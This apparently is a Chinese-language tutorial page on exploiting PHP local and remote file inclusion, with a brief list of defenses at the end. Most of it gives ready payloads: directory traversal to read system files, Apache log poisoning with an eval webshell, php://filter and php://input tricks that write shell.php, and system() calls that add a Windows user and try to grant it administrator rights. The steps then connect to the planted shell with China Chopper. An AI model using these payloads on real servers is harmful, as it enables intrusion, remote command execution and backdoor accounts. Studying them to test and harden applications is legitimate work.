定义: 程序员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无须再次编写,这种调用文件的过程称为包含。
1.本地文件包含(LFI)
1.读取敏感信息
- 查看boot文件信息:
=../../boot.ini
-
查看其他敏感信息:
敏感信息.jpg
2.日志获取webshell
Apache日志:访问日志access.log,错误日志:error.log
- 确认有本地包含漏洞后,查看日志
=..\..\..\Program%20Files\phpStudy\Apache\logs\access.log
- 通过burpsuite修改上传小马:
GET / <?php @eval($_POST[1]);?>
- 菜刀连接日志url,拿到shell
3.配合文件上传
- 确认有本地文件包含漏洞,上传木马文件:
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
- 用菜刀连接
2.远程文件包含(RFI)
前提:目标主机的allow_url_fopen是激活的
1.远程文件包含shell
- 用菜刀将有木马的网站连接在一起
3. PHP封装协议
1.读取文件
- 读取当前目录下的phpinfo:
=php://filter/read/resource=phpinfo.php
- 进行base64编码(编码后不会被解析):
=php://filter/read=convert.base64-encode/resource=phpinfo.php
- 在hackbar下进行base64解码
- 读取其他文件:
=php://filter/read/resource=../../../../../boot.ini
2.读写文件
前提:allow_url_include为on
- 发现文件包含漏洞,使用burpsuite:拦截:
=php://input
, 提交写入shell申请:<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
- 使用菜刀连接:
http://www.any.com/FI/shell.php
3.命令执行
- burpsuite 抓包改
php://input
,<?php system('net user');?>
- 添加用户:
<?php system('net user a a /add');?>
- 提权为管理员:
<?php system('net localgroup aministrator a /add');?>
4.file封装协议
读取文件:file://c:/boot.ini
PHP提供了四个文件包含函数:include(),include_once(),require,require_once()
5.防护方案
- 严格判断包含中的参数是否外部可控
- 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符如"../"
- 包含文件验证:验证被包含文件是否是白名单的一员
- 尽量不要用动态包含,可以在需要包含的页面固定写好如'include("head.php");'
网友评论